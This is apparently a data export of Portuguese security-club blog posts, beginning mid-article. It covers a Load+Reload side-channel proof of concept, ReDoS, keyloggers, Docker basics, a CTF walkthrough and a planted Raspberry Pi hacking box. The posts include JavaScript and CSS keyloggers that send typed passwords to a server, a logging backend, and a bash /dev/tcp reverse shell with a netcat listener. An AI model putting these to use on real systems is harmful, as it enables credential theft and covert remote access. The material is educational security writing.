contadoras podem ter uma resolução tão boa ou melhor do que a instrução rdtsc em processadores ARM. A ideia é ter uma thread cujo único objetivo é incrementar uma variável global continuamente o mais rápido possível.\nA fim de ser o mais otimizada possível, a thread contadora armazena o valor atual de count no registrador rax e o copia para a memória após incrementá-la. Dessa forma, apenas uma escrita à memória é realizada e o valor atual é acessado exclusivamente pelo registrador.\nUm ponto importante a ser notado no código da thread contadora é o uso das instruções de ordenação mfence e lfence. Analogamente à medição do tempo usando a instrução rdtsc, é necessário garantir que as duas leituras à variável count aconteçam antes e depois da leitura da página. Além disso, para o caso da thread contadora, é importante que a thread principal do atacante obtenha um valor minimamente atualizado de count. A seguir está reproduzido um trecho do manual da Intel sobre a instrução mfence.\nThis serializing operation guarantees that every load and store instruction that precedes the MFENCE instruction in program order becomes globally visible before any load or store instruction that follows the MFENCE instruction.\n(Intel 2021)\nDessa forma, segundo o manual, os incrementos realizados pela thread contadora na variável count durante a leitura da página se tornarão visíveis globalmente antes da segunda leitura de count que segue a instrução mfence. O uso dessa instrução é fundamental, pois sem ela as duas leituras de count retornariam o mesmo valor na maior parte das vezes, o que resultaria em um tempo de leitura nulo.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 //Função que calcula o tempo de acesso a uma página usando a thread contadora. uint64_t load_count(uint64_t *addr) { uint64_t volatile time; asm volatile ( \u0026#34;mfence \\n\\t\u0026#34; \u0026#34;lfence \\n\\t\u0026#34; \u0026#34;movq (%%rbx), %%rcx \\n\\t\u0026#34; \u0026#34;lfence \\n\\t\u0026#34; \u0026#34;movq (%%rax), %%rdx \\n\\t\u0026#34; \u0026#34;lfence \\n\\t\u0026#34; \u0026#34;mfence \\n\\t\u0026#34; \u0026#34;movq (%%rbx), %%rax \\n\\t\u0026#34; \u0026#34;subq %%rcx, %%rax \\n\\t\u0026#34; : \u0026#34;=a\u0026#34; (time) : \u0026#34;a\u0026#34; (addr), \u0026#34;b\u0026#34; (\u0026amp;count) : \u0026#34;rcx\u0026#34;, \u0026#34;rdx\u0026#34; ); return time; } Load+Reload Load+Reload é um dos dois ataques propostos no artigo Take a Way(Lipp et al. 2020) e tira vantagem do fato que quando dois endereços virtuais distintos referentes ao mesmo endereço físico são acessados em sucessão, a leitura ocorrerá na cache L2. Esse comportamento, entretanto, só ocorre quando as threads sendo executadas estão no mesmo núcleo físico(Lipp et al. 2020).\nForam então criados dois programas, uma vítima e um atacante, que serão executados em núcleos lógicos distintos, mas no mesmo núcleo físico. Para isso, foi utilizada a biblioteca pthread para criar a thread e prendê-la a um núcleo específico.\nA memória que será compartilhada entre a vítima e o atacante é um arquivo de 8MiB composto de bytes aleatórios mapeados na memória com a syscall nmap. O ataque consiste em uma vítima lendo continuamente partes do arquivo data usando caracteres de uma string secret. O caractere é multiplicado por 4096, de modo que cada byte do arquivo lido está em uma página distinta.\n1 2 //Leitura do arquivo a partir da string secret. read_byte(\u0026amp;data[secret[i] * 4096]); Enquanto isso, o atacante também lê continuamente o arquivo. Diferente da vítima, no entanto, o atacante selectiona todos os bytes de 0 até 0xff como índice para a leitura do arquivo.\n1 2 uint64_t time = load_count(\u0026amp;data[byte * 4096]); O tempo levado para a leitura é então medido usando uma thread contadora e o byte que levou mais tempo para ser lido é escolhido como o que a vítima estava lendo naquele momento.\nA ideia é que se o byte sendo lido pelo atacante for o mesmo que está sendo lido pela vítima, a leitura do atacante cairá para a L2 por conta do preditor de way. Essa leitura na L2 levará consideravelmente mais tempo do que uma leitura na L1, e essa diferença pode ser medida usando a thread contadora.\n[1] Tag em inglês.\n[2] Virtually indexed and physically tagged (VIPT) em inglês.\nCódigo fonte https://github.com/grisufrj/articles/tree/main/load%2Breload\nBibliografia AMD. 2019. Software Optimization Guide for AMD Family 17h Models 30h and Greater Processors. https://developer.amd.com/wp-content/resources/56305_SOG_3.00_PUB.pdf.\nIntel. 2021. Intel® 64 and IA-32 Architectures Software Developer’s Manual. https://cdrdv2.intel.com/v1/dl/getContent/671200.\nKocher, Paul, Jann Horn, Anders Fogh, Daniel Genkin, Daniel Gruss, Werner Haas, Mike Hamburg, et al. 2019. “Spectre Attacks: Exploiting Speculative Execution.” In 2019 IEEE Symposium on Security and Privacy (SP), 1–19. https://doi.org/10.1109/SP.2019.00002.\nLipp, Moritz, Daniel Gruss, Raphael Spreitzer, Clémentine Maurice, and Stefan Mangard. 2016. “ARMageddon: Cache Attacks on Mobile Devices.” In 25th USENIX Security Symposium (USENIX Security 16), 549–64. Austin, TX: USENIX Association. https://www.usenix.org/conference/usenixsecurity16/technical-sessions/presentation/lipp.\nLipp, Moritz, Vedad Hadžić, Michael Schwarz, Arthur Perais, Clémentine Maurice, and Daniel Gruss. 2020. “Take A Way: Exploring the Security Implications of AMD’s Cache Way Predictors.” In 15th ACM ASIA Conference on Computer and Communications Security (ACM ASIACCS 2020). Taipei, Taiwan. https://doi.org/10.1145/3320269.3384746.\nLipp, Moritz, Michael Schwarz, Daniel Gruss, Thomas Prescher, Werner Haas, Anders Fogh, Jann Horn, et al. 2018. “Meltdown: Reading Kernel Memory from User Space.” In 27th USENIX Security Symposium (USENIX Security 18), 973–90. Baltimore, MD: USENIX Association. https://www.usenix.org/conference/usenixsecurity18/presentation/lipp.\nYarom, Yuval, and Katrina Falkner. 2014. “FLUSH+RELOAD: A High Resolution, Low Noise, L3 Cache Side-Channel Attack.” In 23rd USENIX Security Symposium (USENIX Security 14), 719–32. San Diego, CA: USENIX Association. https://www.usenix.org/conference/usenixsecurity14/technical-sessions/presentation/yarom.\n","permalink":"http://grisufrj.github.io/blog/2022-10-02-load+reload/","summary":"Introdução Em busca da maior performance possível, os processadores atuais tiram vantagem de diversos artifícios, muitas vezes sem grande consideração pela segurança. Nesse contexto, ataques como Spectre (Kocher et al. 2019) e Meltdown (Lipp et al. 2018) mostram que a execução especulativa é um tópico muito interessante a ser explorado. Nesse artigo, construiremos uma prova de conceito do ataque Load+Reload (Lipp et al. 2020), que tira vantagem do preditor de way presente na cache dos processadores atuais da AMD.","title":"Load+Reload: Uma prova de conceito de um side-channel que explora a cache associativa de processadores AMD"},{"content":"Quinta-feira passada, eu estava procrastinando como sempre, quando me deparei com um vídeo de uma talk chamada \u0026ldquo;The State of the Web\u0026rdquo;. O título do vídeo em questão era \u0026ldquo;JavaScript Vulnerabilities\u0026rdquo;. Como amante de web pretensioso que sou, logo pensei \u0026ldquo;vou abrir, mas duvido que aprenda algo novo\u0026rdquo;. Apenas 51 segundos depois, o entrevistado disse a seguinte frase (traduzida):\nTambém há coisas que as pessoas não pensam sobre, como regular expression denial-of-service.\nCongelei imediatamente. Já conhecia Denial-of-Service e também já mexi (mais do que gostaria) com RegEx. Mas DoS usando RegEx⁈ Fui pesquisar.\nAo que me parece, esse tipo de ataque não é dos mais comuns, por depender muito de casos específicos em código utilizando RegEx. De qualquer forma, conhecimento nunca é demais. Trago aqui, então, um overview do que descobri em minhas pesquisas.\nComo funciona Um ReDoS depende, primeiramente, da utilização de input do usuário em algum RegEx. Além disso, a expressão regular utilizada deve intrinsicamente conter alguma vulnerabilidade na sua formação. Alguns padrões, como repetições de repetições, costumam ser os causadores de ReDoS. A Open Web Application Security Project (OWASP), uma organização com foco em segurança na web, separa em dois casos:\na expressão regular aplica repetição (+, *) a uma subexpressão complexa (possivelmente esta também com repetições); para a subexpressão repetida, existe uma correspondência que também é sufixo de outra correspondência válida. No exemplo a seguir, usamos ^(a+)+$ como RegEx malicioso — vamos dissecá-lo para melhor entendimento:\n^ procura pelo início de uma string; () cria um \u0026lsquo;grupo\u0026rsquo;; a procura pelo caractere \u0026lsquo;a\u0026rsquo;; + procura por 1 ou mais ocorrências do item precedendo-o — seja este um caractere ou um grupo; $ procura pelo final de uma string. O problema está no fato de que a+ procura a de 1 a n vezes até parar. Portanto, a combinação de (a+) com + faz com que ele procure de 1 a n vezes para a e de 1 a n vezes para cada tentativa em (a+), criando um crescimento exponencial de tentativas. Em nosso benchmarking, tivemos os seguintes resultados — a adição de somente um a dobra o tempo necessário para avaliar a expressão:\n{% highlight js %} const a1 = \u0026ldquo;aaaaaaaaaaaaaaaaaaaaaaaaaaa!\u0026rdquo;; const a2 = \u0026ldquo;aaaaaaaaaaaaaaaaaaaaaaaaaaaa!\u0026rdquo;;\n/^(a+)+$/.test(a1); //=\u0026gt; 1056.115967 ms\n/^(a+)+$/.test(a2); //=\u0026gt; 2092.657715 ms {% endhighlight %}\nNa vida real Para você que está pensando: \u0026ldquo;muito legal, mas aonde isso ocorreria na vida real? Parece específico demais\u0026rdquo;, não tema! Para testar essa vulnerabilidade em um caso \u0026ldquo;real\u0026rdquo;, criei um pequeno prompt de e-mail, para um suposto cadastro em uma Newsletter.\nPorém, precisamos garantir que o input contém um e-mail! Para isso, podemos pesquisar online por um RegEx que detecte e-mails, como esse:\n{% highlight js %} let exp = /^([a-zA-Z0-9])(([-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$/; {% endhighlight %}\nÉ muito extenso, então ao invés de tentar entender o que ele faz, vamos testar para ver se funciona!\nO sistema está funcional e quase não nos custou tempo! Perfeito!\nOu\u0026hellip; quase. A maior causa[citation needed] de vulnerabilidades não serem detectadas é a falta de testes nos inputs. Um lema muito conhecido na área de segurança da informação é \u0026ldquo;Nunca confie em input do usuário\u0026rdquo; (como exemplificado nesse XKCD). Isso se dá pelo fato de que, na maioria das vezes, desenvolvedores assumem que o input não receberá nada fora do esperado, como nos exemplos acima, em que eu só testei para casos \u0026lsquo;plausíveis\u0026rsquo; de e-mail. Agora, vamos ver o que acontece com um input muito longo, por exemplo:\nA expressão que usamos para esse exemplo de e-mail está listada na Wikipedia como exemplo de RegEx vulnerável, devido à este fragmento:\n(([\\-.]|[_]+)?([a-zA-Z0-9]+))*\rque é parecido com nosso primeiro exemplo, (a+)+:\n(( … +)?( … +))*\rNesse exemplo, a expressão regular está sendo avaliada no front-end. Por isso, o maior dano que ela fará é travar a página em que está aberta, e nada mais. Contudo, caso fosse utilizada no lado do servidor, essa demora seria crítica, podendo afetar a velocidade da conexão de outros clientes com o servidor, sendo então considerada um ataque de DoS.\nFique sempre atento ao utilizar quaisquer expressões regulares copiadas da internet! Evidentemente, existem várias outras expressões regulares para detecção de e-mails mais bem formuladas, que não possuem essa vulnerabilidade.\nConclusão Não me considero um expert no assunto, muito pelo contrário. Porém, espero que, se como eu, você nunca tinha ouvido falar de ReDoS antes, agora você já tenha alguma ideia do que é e como se prevenir.\nPara aprender mais sobre ReDoS, abaixo estão as referências e links recomendados.\nMas, antes, deixo um fato que você não pediu sobre algo que você não se interessa:\nAssim como humanos, gatos também podem ser destros, canhotos ou ambidestros — e essa característica está relacionada ao temperamento do animal. Além disso, felinos com preferências de pata mais proeminentes tendem a ser mais confiantes, afetivos, ativos e amigáveis. [ref 1] [ref 2] [ref 3] [ref 4]\nReferências Todo código utilizado neste artigo está disponível em: https://github.com/MatheusAvellar/gris-blog\nVídeo do The State of the Web sobre vulnerabilidades em JavaScript:\nyoutube.com Podcast da OWASP sobre ReDoS:\nowasp.org Artigo da OWASP sobre ReDoS:\nowasp.org Repositório de expressões regulares da OWASP:\nowasp.org Ótima ferramenta para testar expressões regulares:\nregexr.com Artigo sobre ReDoS (com foco em C# .NET):\ndzone.com Resposta no StackOverflow sobre como criar um ReDoS (em PHP):\nstackoverflow.com (❤) Ferramenta RXXR, para detecção de ReDoS (não testei pessoalmente):\ncs.bham.ac.uk ReDoS encontrado em um módulo de Node, minimatch:\nnodesecurity.io ","permalink":"http://grisufrj.github.io/blog/2018-06-03-redos/","summary":"Quinta-feira passada, eu estava procrastinando como sempre, quando me deparei com um vídeo de uma talk chamada \u0026ldquo;The State of the Web\u0026rdquo;. O título do vídeo em questão era \u0026ldquo;JavaScript Vulnerabilities\u0026rdquo;. Como amante de web pretensioso que sou, logo pensei \u0026ldquo;vou abrir, mas duvido que aprenda algo novo\u0026rdquo;. Apenas 51 segundos depois, o entrevistado disse a seguinte frase (traduzida):\nTambém há coisas que as pessoas não pensam sobre, como regular expression denial-of-service.","title":"ReDoS"},{"content":"O que são, para que servem, e como fazer um? Uma das ferramentas potencialmente maliciosas mais bem conhecidas na área de computação é o keylogger. Um keylogger é um programa (ou dispositivo) que detecta quando alguma tecla é pressionada no teclado e, de uma maneira ou de outra, guarda essa informação — seja para uso futuro pelo próprio usuário ou não.\nÉ importante notar que um keylogger não necessariamente é um spyware, isto é, um programa para espionar no usuário sem consentimento. O nome keylogger se refere somente à funcionalidade da ferramenta e não ao seu uso.\nUm dos primeiros casos famosos de keylogging ocorreu em 1984, quando a embaixada americana em Moscou descobriu que pelo menos 16 máquinas de escrever possuíam pequenos dispositivos implantados. Esses dispositivos eram capazes de detectar teclas sendo pressionadas e, em seguida, transmitir essa informação por meio de ondas de rádio para agentes soviéticos no lado de fora do prédio. Esse achado resultou no início do GUNMAN Project, um projeto ultrassecreto cujo objetivo era encontrar qualquer vulnerabilidade em equipamentos de telecomunicação da embaixada de Moscou.\nKeyloggers físicos como os de Moscou, impossíveis de detectar por software, ainda estão em uso. Porém, eles vão além do escopo deste artigo. Aqui, vamos dar uma olhada somente em keyloggers de software.\nEvent-based O conceito de programar event-based é: esperar algo acontecer e, quando acontecer, executar algum código. No caso de um keylogger, nosso \u0026ldquo;evento\u0026rdquo; é a tecla sendo pressionada.\nEspecificamente para Windows, podemos criar uma aplicação no Visual Studio em C# ou Visual Basic que se utiliza da API nativa do Windows para detecção de pressionamento de teclas. Para Linux, podemos utilizar C e / ou Bash. Links para exemplos de ambos estão no final do artigo.\nAqui, entretanto, vamos focar nossos exemplos nas aplicações para web / node, por serem independentes do sistema operacional.\nUsando JavaScript O código a seguir, em JavaScript, envia teclas pressionadas em uma página para uma URL arbitrária — nesse caso, \u0026ldquo;http://localhost\u0026rdquo;:\n1 addEventListener(\u0026#34;keyup\u0026#34;,e=\u0026gt;new Image().src=\u0026#34;//localhost?\u0026#34;+e.key) Inicialmente, ele cria um novo \u0026rsquo;listener\u0026rsquo; de evento, que espera o evento de \u0026ldquo;key up\u0026rdquo;, isto é, o evento que é emitido quando o usuário pressiona e depois solta uma tecla. O segundo argumento é a função de callback, que contém o código que será executado quando o evento ocorrer.\nNessa função, que recebe um objeto \u0026ldquo;e\u0026rdquo; como argumento, criamos uma nova \u0026lsquo;imagem\u0026rsquo; e definimos o URL dela para \u0026quot;//localhost?\u0026quot; + e.key — se recebemos a tecla \u0026ldquo;J\u0026rdquo;, o URL será \u0026ldquo;http://localhost?J\u0026rdquo;. Assim que a \u0026lsquo;imagem\u0026rsquo; é criada pelo JavaScript, o navegador envia uma requisição para o URL para obter a suposta imagem. Com isso, podemos processar a informação enviada quando ela for recebida pelo servidor e, assim, guardá-la em um log.\nComo tudo, um keylogger em JavaScript tem seus prós e contras. Para um indivíduo mal intencionado, pode não ser muito fácil conseguir que um usuário de interesse execute código JavaScript em uma página de login. Portanto, alguma outra vulnerabilidade, seja ela de infraestrutura ou social, deverá ser abusada para que o código seja executado onde deve. Porém, a vantagem é que, após criado, o keylogger é praticamente perfeito no que faz. Toda e qualquer tecla pressionada será registrada e enviada para o servidor. No caso que veremos a seguir, isso nem sempre acontece.\nUsando CSS – pera, quê? Intuitivamente, pode-se imaginar que é necessário executar algum código para criar um keylogger — pelo menos eu tinha essa ideia até não muito tempo atrás. Mas isso não necessariamente é verdade! Algumas linguagens, como CSS e SVG, não são exatamente consideradas programação por não serem Turing-Complete. Ainda assim, podemos abusar algumas features delas para alcançar nosso objetivo.\nPara fazer um keylogger com CSS, usaremos um efeito colateral de alguns frameworks e bibliotecas de JavaScript, como o React. Mas, antes disso, darei uma mini-aula de input de usuário em HTML:\nNormalmente, quando se tem um elemento em HTML do tipo \u0026ldquo;\u0026lt;input\u0026gt;\u0026rdquo; (em que o usuário pode inserir conteúdo em texto), o programador pode adicionar um atributo \u0026ldquo;value\u0026rdquo; que define um valor padrão, que já vai estar escrito no input quando o site carregar. Quando o usuário insere algum texto no input, o conteúdo definido no atributo \u0026ldquo;value\u0026rdquo; não é atualizado, e simplesmente para de ser usado.\nVoltando ao React: o site do Instagram usa React por trás dos panos. Isso faz com que o atributo \u0026ldquo;value\u0026rdquo; seja atualizado a cada caractere inserido pelo usuário! E, novamente, isso vale tanto para o campo de username, quanto para o campo de senha! Aqui vai uma screenshot:\nO CSS não é poderoso o suficiente para capturar o evento de teclas sendo pressionadas. Contudo, ele consegue ver os atributos de HTML e seus conteúdos! Então, se quisermos, por exemplo, colorir todos os inputs que contém um \u0026ldquo;value\u0026rdquo; de \u0026ldquo;banana\u0026rdquo;, podemos fazer:\n1 2 3 input[value=\u0026#34;banana\u0026#34;] { color: red; } Sabendo da maneira como o React e o CSS funcionam, podemos criar um keylogger para sites que usam o React, como o Instagram, ou que atualizam o atributo \u0026ldquo;value\u0026rdquo;. Definimos regras como:\n1 2 3 input[type=\u0026#34;password\u0026#34;][value$=\u0026#34;A\u0026#34;] { list-style: url(\u0026#34;http://localhost?A\u0026#34;); } Onde input[type=\u0026quot;password\u0026quot;] seleciona somente \u0026lt;input\u0026gt;\u0026rsquo;s que possuam o atributo type=\u0026quot;password\u0026quot;, e [value$=\u0026quot;A\u0026quot;] seleciona somente \u0026lt;input\u0026gt;\u0026rsquo;s cujo atributo value termina em A.\nSimilarmente como acontece no exemplo de JavaScript, definimos um URL para ser requisitado pelo CSS, que será nosso meio de enviar a informação para o servidor. No caso, usamos a propriedade list-style, que não afeta esse elemento visualmente.\nRepetindo essa regra para todos os caracteres relevantes, terminamos com um arquivo com 90+ linhas de código e um resultado não muito impressionante, mas suficientemente funcional:\nComparado ao keylogger em JavaScript, esse é claramente mais verboso e pesado: dos 56 bytes de código adicionados ao tamanho da URL, em JavaScript, partimos para quase 5000 bytes de \u0026lsquo;código\u0026rsquo; adicionados ao tamanho da URL repetida 90 ou mais vezes, em CSS. Além disso, estamos presos a teclas cujos caracteres podem ser inseridos no input (teclas como F5, Ctrl, Shift, Backspace, passam despercebidas), o que não ocorre em JavaScript.\nAdemais (uau que palavra linda), tive um problema estranho com o keylogger em CSS: teclas repetidas não eram enviadas novamente. Então, uma senha como \u0026ldquo;banana\u0026rdquo; se torna \u0026ldquo;ban\u0026rdquo;, o final \u0026ldquo;ana\u0026rdquo; não é enviado por só conter caracteres que já foram testados. Acredito que isso seja devido a alguma otimização do CSS, para que ele não tente requisitar várias vezes a mesma página. Contudo, apesar de meus — admitidamente poucos — esforços para evitar um cache e forçar uma requisição repetida, não consegui consertar esse erro.\nTemos, entretanto, a pequena vantagem de que é mais fácil carregar CSS sorrateiramente do que JavaScript. Extensões como Stylish permitem ao usuário adicionar estilos customizados feitos por terceiros e, muitas vezes, o usuário não tem conhecimento de CSS, então não sabe o que está adicionando.\nCriando o back-end Desenvolvi um back-end bem simples para essa aplicação, por ser somente um proof-of-concept. Todo o código está disponível no GitHub (links no final do artigo), mas aqui vai um resumo:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 // Primeiro, fazemos alguns requires de módulos para criarmos um servidor web simples const app = require(\u0026#34;express\u0026#34;)(); const fs = require(\u0026#34;fs\u0026#34;); const http = require(\u0026#34;http\u0026#34;).Server(app); // Em seguida, definimos o que rola ao requisitar o URL /listen: app.get(\u0026#34;/listener\u0026#34;, function(req, res) { // Se recebemos uma tecla no URL, if(req._parsedUrl.search) { // Definimos que a tecla, k, é o que vem após \u0026#39;?\u0026#39; no URL, usando .slice: let k = req._parsedUrl.search.slice(1); // Decodificamos, se necessário (e.x.: %5B equivale a \u0026#39;[\u0026#39;) if(k.charAt(0) == \u0026#39;%\u0026#39; \u0026amp;\u0026amp; k != \u0026#34;%\u0026#34;) k = decodeURIComponent(k); // E recuperamos a tecla do espaço, que pode ser perdida na requisição else if(k.length == 0) k = \u0026#34; \u0026#34;; // Para maior legibilidade, todas as teclas que não têm // somente um caractere, envolvemos em \u0026#34;\u0026lt;\u0026#34; e \u0026#34;\u0026gt;\u0026#34; // (por exemplo, \u0026lt;Del\u0026gt; ou \u0026lt;F5\u0026gt;) if(k.length \u0026gt; 1) k = \u0026#34;\u0026lt;\u0026#34; + k + \u0026#34;\u0026gt;\u0026#34;; // Adicionamos a string da tecla ao final do arquivo de log fs.appendFile(\u0026#34;./log.txt\u0026#34;, k, function(err) { if(err) throw err; }); } // E, por fim, retornamos um status de 304 - Not Modified res.sendStatus(304); }); // Terminamos abrindo o servidor na porta 3000 http.listen(3000, function(){ console.log(\u0026#34;Listening on *:3000\\n\u0026#34;) }); Conclusão O tópico de keyloggers é muito mais extenso do que eu poderia tentar cobrir em um post somente. Nesse artigo, vimos somente a ponta do iceberg sobre o assunto, com exemplos bem simples e restritos. Porém, se tudo correu bem, espero que você, querido leitor, tenha adquirido algum conhecimento com isso tudo.\nPara aprender mais sobre keyloggers, abaixo estão as referências e links recomendados.\nMas, antes, deixo um fato que você não pediu sobre algo que você não se interessa:\nAvestruzes não têm dentes e, portanto, engolem pedras (chamadas gastrólitos) para ajudar com a digestão. [ref 1] [ref 2] [ref 3]\nReferências Todo código utilizado neste artigo está disponível em: https://github.com/MatheusAvellar/gris-blog\nCaso do incidente com a embaixada americana e suas máquinas de escrever com keyloggers:\nwikipedia.org arstechnica.com Informações sobre o GUNMAN Project:\nrijmenants.blogspot.com.br nsa.gov (PDF) \u0026ldquo;Detecting Hardware Keyloggers\u0026rdquo;:\nconference.hackinthebox.org (PDF) Código para um keylogger em C# (.NET), para Windows:\nstackoverflow.com (❤) E em VB (também .NET):\ncodeguru.com Código para um keylogger em C e Bash, para Linux:\ngithub.com \u0026ldquo;TouchLogger: Inferring Keystrokes On Touch Screen From Smartphone Motion\u0026rdquo;:\nusenix.org (PDF) Keylogger que se utiliza apenas do acelerômetro do celular para detectar as teclas sendo pressionadas em um teclado apoiado em uma mesma mesa:\nwired.com Apresentação sobre ataques que não utilizam linguagens Turing-Complete (scriptless):\nslideshare.net Um dos primeiros keyloggers, de 1985, feito em C:\nsecuritydigest.org Referência para o keylogger em CSS:\ngithub.com ","permalink":"http://grisufrj.github.io/blog/2018-05-23-keyloggers/","summary":"O que são, para que servem, e como fazer um? Uma das ferramentas potencialmente maliciosas mais bem conhecidas na área de computação é o keylogger. Um keylogger é um programa (ou dispositivo) que detecta quando alguma tecla é pressionada no teclado e, de uma maneira ou de outra, guarda essa informação — seja para uso futuro pelo próprio usuário ou não.\nÉ importante notar que um keylogger não necessariamente é um spyware, isto é, um programa para espionar no usuário sem consentimento.","title":"Keyloggers"},{"content":"O docker é um meio termo entre uma máquina virtual (= que roda um sistema guest (convidado) dentro de um sistema host (hospedeiro)) e um sistema rodando simultaneamente e concorrentemente com outro. Em primeiro lugar, ele é bem mais leve e mais rápido do que uma máquina virtual completa, pois reutiliza vários sub-sistemas do sistema host (diferentemente de uma máquina virtual, que tipicamente \u0026ldquo;emula\u0026rdquo; todos os aspectos de hardware e de software do guest), tal como o kernel. Em segundo lugar, assim como uma máquina virtual, tudo o que roda no docker está, a princípio (e por padrão) isolado do sistema host. Isso é feito por debaixo dos panos através de tecnologias existentes no kernel do Linux tais como cgroups e namespaces; uma consequência disso é que só é possível rodar o docker em sistemas relativamente recentes (por exemplo, qualquer Ubuntu 14.04 para cima já está de bom tamanho).\nComparação entre as arquiteturas de máquina virtual e do docker (containers). Créditos da imagem: http://patg.net/containers,virtualization,docker/2014/06/05/docker-intro/\nDa mesma forma (analogamente) que um programa de máquinas virtuais (como o VirtualBox) opera com arquivos de máquina virtual, o docker opera com imagens. Uma imagem é uma espécie de mini-sistema Linux que pode rodar em um container no docker. Por exemplo, existem imagens do Ubuntu, do Alpine Linux, do Arch Linux, do CentOS, e assim por diante. Imagens não precisam ser apenas distribuições de linux; por exemplo, também existem imagens de python, de ruby, de nodejs. A arquitetura é tal que é bastante fácil criar novas imagens a partir de imagens pré-existentes; por exemplo, você pode pegar a imagem do Ubuntu e instalar um nginx nela, e depois criar uma nova imagem com esse novo conjunto (Ubuntu + nginx), e dar o nome de \u0026ldquo;nginx\u0026rdquo; a ela.\nCada nova camada que você adiciona a uma imagem é chamada de layer. No exemplo anterior, tomamos uma imagem do Ubuntu e adicionamos um layer de nginx a ele.\nExemplo de camadas no docker. Créditos da imagem: http://blog.bigstep.com/developers-love-docker/\nImagens são criadas a partir de Dockerfiles, que são arquivos que possuem instruções de como gerar imagens. Um exemplo típico de instrução para adicionar no Dockerfile é apt-get install \u0026lt;package\u0026gt;. Para rodar as imagens no docker, containers são criados. Um container é nada mais do que um ambiente / instância de execução a partir de uma imagem.\nPara saber mais https://blog.docker.com/ https://docs.docker.com/get-started/ ","permalink":"http://grisufrj.github.io/blog/2017-10-08-resumo-sobre-o-funcionamento-do-docker-parte-i/","summary":"O docker é um meio termo entre uma máquina virtual (= que roda um sistema guest (convidado) dentro de um sistema host (hospedeiro)) e um sistema rodando simultaneamente e concorrentemente com outro. Em primeiro lugar, ele é bem mais leve e mais rápido do que uma máquina virtual completa, pois reutiliza vários sub-sistemas do sistema host (diferentemente de uma máquina virtual, que tipicamente \u0026ldquo;emula\u0026rdquo; todos os aspectos de hardware e de software do guest), tal como o kernel.","title":"Resumo sobre as características e o funcionamento do Docker - Parte I"},{"content":"h3ll0, fr13nd. Esse post dá início a série voltada para guias de CTFs e wargames que foram resolvidos por membros do GRIS.\nMas o que é um CTF ou wargame? Os capture the flags (CTFs) e wargames são ótimas formas de testar conhecimento na área da segurança. Nesses desafios temos aplicações projetadas com vulnerabilidades disponíveis para que a comunidade coloque em prática aquilo que foi estudado.\nO intuito das postagens sobre esses desafios não é fornecer respostas, mas guiar o leitor através da linha de raciocínio utilizada para resolvê-los . Estamos fazendo isso pois é difícil encontrar esse tipo de material em português e, além disso, é uma forma de fornecer a comunidade um pouco daquilo que aprendemos no GRIS.\nO primeiro desafio: Como primeiro desafio teremos o level01 do IO netgarage. A temática dele é engenharia reversa (RE) em uma máquina IA-32.\nO primeiro passo é se conectar ao servidor fornecido pelo wargame. para isso, utilizamos o protocolo SSH.\n1 2 $ ssh level1@io.netgarage.org password: level1 conforme a descrição do wargame, temos acesso somente ao programa correspondente ao usuário utilizado. E, além disso, os programas se encontram no diretório /levels. Portanto, acessamos esse diretório $ cd /levels\nfeito isso, executamos o level01 $./level01 e com isso, recebemos a output:\n1 Enter the 3 digit passcode to enter: Então, precisamos descobrir a input necessária para que seja possível ler a senha do o level2 do wargame. Para descobrir a chave, utilizaremos o GDB (GNU debugger) da seguinte maneira $ gdb -q level01 O parâmetro -q é utilizado para o gdb não exibir sua \u0026ldquo;propaganda\u0026rdquo; habitual.\nFeito isso, disassemblamos a função main do binário: (gdb) disassemble main e teremos como saída:\n1 2 3 4 5 6 7 8 Dump of assembler code for function main: 0x08048080 \u0026lt;+0\u0026gt;:\tpush $0x8049128 //endereço colocado na pilha 0x08048085 \u0026lt;+5\u0026gt;:\tcall 0x804810f //chamada de função 0x0804808a \u0026lt;+10\u0026gt;:\tcall 0x804809f //chamada de função 0x0804808f \u0026lt;+15\u0026gt;:\tcmp $0x10f,%eax //um valor é comparado com o retorno 0x08048094 \u0026lt;+20\u0026gt;:\tje 0x80480dc //se igual, pula para 0x80480dc 0x0804809a \u0026lt;+26\u0026gt;:\tcall 0x8048103 //se não, chama 0x8048103 End of assembler dump. O código acima está comentado, o que facilita enxergar a solução do problema. Aposto que o número em hexa que está sendo comparado com o registrador eax tem algo de especial.\n","permalink":"http://grisufrj.github.io/blog/2016-11-22-ctfseries-piloto/","summary":"h3ll0, fr13nd. Esse post dá início a série voltada para guias de CTFs e wargames que foram resolvidos por membros do GRIS.\nMas o que é um CTF ou wargame? Os capture the flags (CTFs) e wargames são ótimas formas de testar conhecimento na área da segurança. Nesses desafios temos aplicações projetadas com vulnerabilidades disponíveis para que a comunidade coloque em prática aquilo que foi estudado.\nO intuito das postagens sobre esses desafios não é fornecer respostas, mas guiar o leitor através da linha de raciocínio utilizada para resolvê-los .","title":"CTF series piloto -- IO netgarage"},{"content":"Algum tempo atrás estava dando uma olhada nos posts da série Mr Robot do null-byte e um artigo em especial me chamou a atenção.\nA publicação sobre como criar um raspberry para hacking não retrata fielmente as condições encontradas por Elliot no episódio eps1.3__da3m0ns.mp4. Então, optei por adaptar um pouco o tutorial para ele se tornar mais parecido com o conteúdo apresentado na televisão. De início, os passos serão bem semelhantes aos apresentados pelo null-byte mas no final, teremos um algo a mais.\n1.Baixar o Kali linux para ARM. Escolha aquela que se adequa ao hardware que estiver utilizando. Iremos utilizar o Kali pois é uma distribuição linux focada em segurança, e por conta disso, fornecerá diversas ferramentas que poderão ser utilizadas em missões futuras.\n2.Feito isso, precisamos criar um script que funcionará como nosso nosso shell reverso no raspberry. Para tal, é recomendável utilizar o reverse shell cheat sheet da pentest Monkey. Utilizaremos o shell reverso abaixo.\n1 bash -i \u0026gt;\u0026amp; /dev/tcp/\u0026lt;ip da maquina que está escutando\u0026gt;/8080 0\u0026gt;\u0026amp;1 Colocamos então o código acima em um arquivo (chamaremos ele de reverse) e concedemos a ele permissão de execução da seguinte maneira:\n1 chmod +x reverse Obs: Vale ressaltar que não devemos colocar o script com extensão .sh pois o diretório em que ele será armazenado não executa arquivos com essa extensão.\n3.Agora, é necessário preparar uma máquina capaz de receber essa shell fornecida pelo raspberry. Para isso, podemos utilizar o canivete suiço de conexões TCP, o netcat. Basta colocar o netcat para escutar na porta em que a shell será fornecida da seguinte forma:\n1 nc -lvp 8080 4.Com a estrutura pronta, precisamos organizar tudo o que temos para que seja possível acessar o raspberry dentro de uma 